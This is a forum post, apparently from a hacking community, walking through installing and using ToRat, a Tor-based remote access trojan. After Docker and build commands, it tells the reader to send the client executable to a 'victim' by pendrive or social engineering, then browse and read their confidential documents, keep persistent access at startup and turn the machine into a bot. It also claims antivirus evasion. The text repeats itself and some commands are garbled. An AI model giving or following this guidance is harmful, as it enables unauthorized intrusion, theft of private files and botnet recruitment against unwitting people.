Mutt
Professional
- Messages
- 1,193
- Reaction score
- 848
- Points
- 113
This material is provided for educational purposes only and was created as part of the study of information security. The author did not publish material for malicious purposes. If someone uses the information for personal gain, then the author is not responsible for any harm or damage caused.
Description
ToRat is a remote administration tool. Using this tool, we can hack the victim's computer if he does not have any kind of virus protection on his computer. ToRat is completely built in the Go language using the TOR transport machine. According to the ethical researcher of hacker attacks, he can bypass the AV protection.
Installation
Before installing the tool, we must install the docker-engine.
Installing docker
Run this command to update packages:
Then use these commands to install packages:
Now enter this command in a terminal to add the official GPG key to Docker:
Now we have to verify the key with the fingerprint that we have 9DC8 5822 9FC7 DD38 854A E2D8 8D81 803C 0EBF CD88 by searching the last 8 characters of the fingerprint.
Next, enter this command to set up stable storage:
Now use this command to install the latest version of Docker-Engine:
Now, check out the docker engine community with this command:
Installing ToRat
Type this command in the terminal to clone the tool:
Type cd to enter the directory:
Enter this command to create a ToRat Docker container:
Then enter this command in the terminal to start the container:
Usage
To find the parameters, enter the command help
The main step of the tool is to gain access to the victim's computer by sending an exe file.
We find the .exe file in this path:
Download the client-windows-4.0-amd64.exe file and send this file to the victim via Pendrive or some social engineering techniques.
Use the command listto check if the client is connected to the server.
Now use the select command and the number from the client list to access the victim's machine.
Now let's try to open any document containing confidential information on the victim's computer.
Enter the dir command to check the directories on the victims' computers.
Here we found a directory called Documents.
Now let's go into the "Documents" folder using the cd Documents command and check the victim's information
We can also view documents simply by entering the file name using the type command.
The main advantage of using this tool is that we can access the victim's computer at any time on reboot by running the backdoor process at startup. Thus, in the digital forensics process, the BOT processes are also identified.
ToRat works through the TOR network to access bots. In this tool, by sending one exe file to the victim, a normal system can be converted to a BOT to run in zombie mode.
Description
ToRat is a remote administration tool. Using this tool, we can hack the victim's computer if he does not have any kind of virus protection on his computer. ToRat is completely built in the Go language using the TOR transport machine. According to the ethical researcher of hacker attacks, he can bypass the AV protection.
Installation
Before installing the tool, we must install the docker-engine.
Installing docker
Run this command to update packages:
Code:
sudo apt-get updateThen use these commands to install packages:
Code:
sudo apt-get install \
apt-transport-https \
ca-certificates \
curl \
gnupg-agent \
software-properties-commonNow enter this command in a terminal to add the official GPG key to Docker:
Code:
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -Now we have to verify the key with the fingerprint that we have 9DC8 5822 9FC7 DD38 854A E2D8 8D81 803C 0EBF CD88 by searching the last 8 characters of the fingerprint.
Code:
sudo apt-key fingerprint 0EBFCD88Next, enter this command to set up stable storage:
Code:
sudo add-apt-repository \Now use this command to install the latest version of Docker-Engine:
Code:
sudo apt-get install docker-ce docker-ce-cli containerd.ioNow, check out the docker engine community with this command:
Code:
sudo docker run hello-worldInstalling ToRat
Type this command in the terminal to clone the tool:
Code:
git clone https://github.com/lu4p/ToRat.gitType cd to enter the directory:
Code:
cd ToRat /Enter this command to create a ToRat Docker container:
Code:
sudo docker build. -t torat Instrument executionsThen enter this command in the terminal to start the container:
Code:
sudo docker run -it -v “$ (pwd)” / dist: / dist_ext toratUsage
To find the parameters, enter the command help
The main step of the tool is to gain access to the victim's computer by sending an exe file.
We find the .exe file in this path:
Code:
/home/iicybersecurity/ToRat/dist/dist/client# lsDownload the client-windows-4.0-amd64.exe file and send this file to the victim via Pendrive or some social engineering techniques.
Use the command listto check if the client is connected to the server.
Now use the select command and the number from the client list to access the victim's machine.
Now let's try to open any document containing confidential information on the victim's computer.
Enter the dir command to check the directories on the victims' computers.
Here we found a directory called Documents.
Now let's go into the "Documents" folder using the cd Documents command and check the victim's information
We can also view documents simply by entering the file name using the type command.
The main advantage of using this tool is that we can access the victim's computer at any time on reboot by running the backdoor process at startup. Thus, in the digital forensics process, the BOT processes are also identified.
ToRat works through the TOR network to access bots. In this tool, by sending one exe file to the victim, a normal system can be converted to a BOT to run in zombie mode.
